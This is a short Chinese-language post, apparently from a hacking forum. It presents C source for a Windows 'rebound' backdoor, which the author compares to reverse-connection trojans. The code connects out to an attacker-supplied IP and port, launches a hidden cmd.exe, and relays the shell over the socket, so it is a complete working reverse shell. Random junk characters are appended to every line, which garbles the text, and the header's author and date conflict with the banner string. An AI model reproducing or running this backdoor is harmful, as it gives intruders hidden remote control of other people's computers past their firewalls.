这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U(=f5|-
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/* ============================== ({}O
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Rebound port in Windows NT !F}J+N=}
By wind,2006/7 \3@2rW"5
===============================*/ Z{|.xg sY
#include N1B$ G
#include [0%Gu5_\
#RZJ1uL
#pragma comment(lib,"wsock32.lib") aL$c).hq0
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void OutputShell(); [M zc^I&
SOCKET sClient; !SD [6Z.R
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ML9T(th6v
K.sj"#D
void main(int argc,char **argv) {
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{ CgPZvB[
WSADATA stWsaData; kcZ;SYosj
int nRet; -qnXa
SOCKADDR_IN stSaiClient,stSaiServer; 71.:p,Z@z
<o"D/<XnB3
if(argc != 3) kAKqW7,q"
{ eUUD|U*b
printf("Useage:\n\rRebound DestIP DestPort\n"); .\hib.n3
return; { <ao4w6B
} "ZK5P&d
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WSAStartup(MAKEWORD(2,2),&stWsaData); [F9KC^%S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iTtAj~dfZ
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stSaiClient.sin_family = AF_INET; v"?PhO/{=
stSaiClient.sin_port = htons(0); QYCNO#*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P*qNRP%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [laL6
{ WRU@i;l
printf("Bind Socket Failed!\n"); MjF.>4
return; t&?v9n"X
} C">=2OO
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stSaiServer.sin_family = AF_INET; wx?{|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G5e Ls
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v!v0,?b*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @_weMz8}
{ yK2*~T,6@
printf("Connect Error!"); 7{/:,
return; :e9jK[)h0
} 8T1DcA*
OutputShell(); A?Hjz%EcW
} U"R.!=v
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void OutputShell() k:uuJ|
{ 4~D>oNx4
char szBuff[1024]; ?jM7C}
SECURITY_ATTRIBUTES stSecurityAttributes; <t|9`l_XW
OSVERSIONINFO stOsversionInfo; 1V9X(uP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2b&;Y /z
STARTUPINFO stStartupInfo; F~- S3p
char *szShell; Zp(P)Obs#
PROCESS_INFORMATION stProcessInformation; W3-Rs&se
unsigned long lBytesRead; &oEq&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qt&"cw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5FR#_}k]_F
stSecurityAttributes.lpSecurityDescriptor = 0; \?ws0Ax
stSecurityAttributes.bInheritHandle = TRUE; d/99!+r
;[\2/$-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nQYS{`hk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v'~nABYH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U;A5-|C
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {q>4:lsS
stStartupInfo.wShowWindow = SW_HIDE; Vv"wf;#
stStartupInfo.hStdInput = hReadPipe; I4p= ?Ds
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _e@qv;*
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GetVersionEx(&stOsversionInfo); <rI$"=7
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switch(stOsversionInfo.dwPlatformId) a} fS2He
{ 8gKR<X.G
case 1: PY:#F|uHS`
szShell = "command.com"; =y(YMWGS
break; !'t2
default: <"Cwy0V kp
szShell = "cmd.exe"; pnw4QQ9
break; i&G`ah>
} EG8R*Cm,}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =FJ9wiL
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send(sClient,szMsg,77,0); cz~FWk
while(1) !?M_%fNE
{ M&T/vByTn_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d/zX%
if(lBytesRead) uR@Wv^
{ Zdg{{|mm
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wn#JYp
send(sClient,szBuff,lBytesRead,0); C>;8`6_!gU
} p. ~jo
else 12DdUPOi
{ nMvIL2:3
lBytesRead=recv(sClient,szBuff,1024,0); B148wh#r
if(lBytesRead<=0) break; |.8=gS5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KKXb,/
} U8Jj(]},_
} 5BO!K$6
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return; %~VIxY|d
}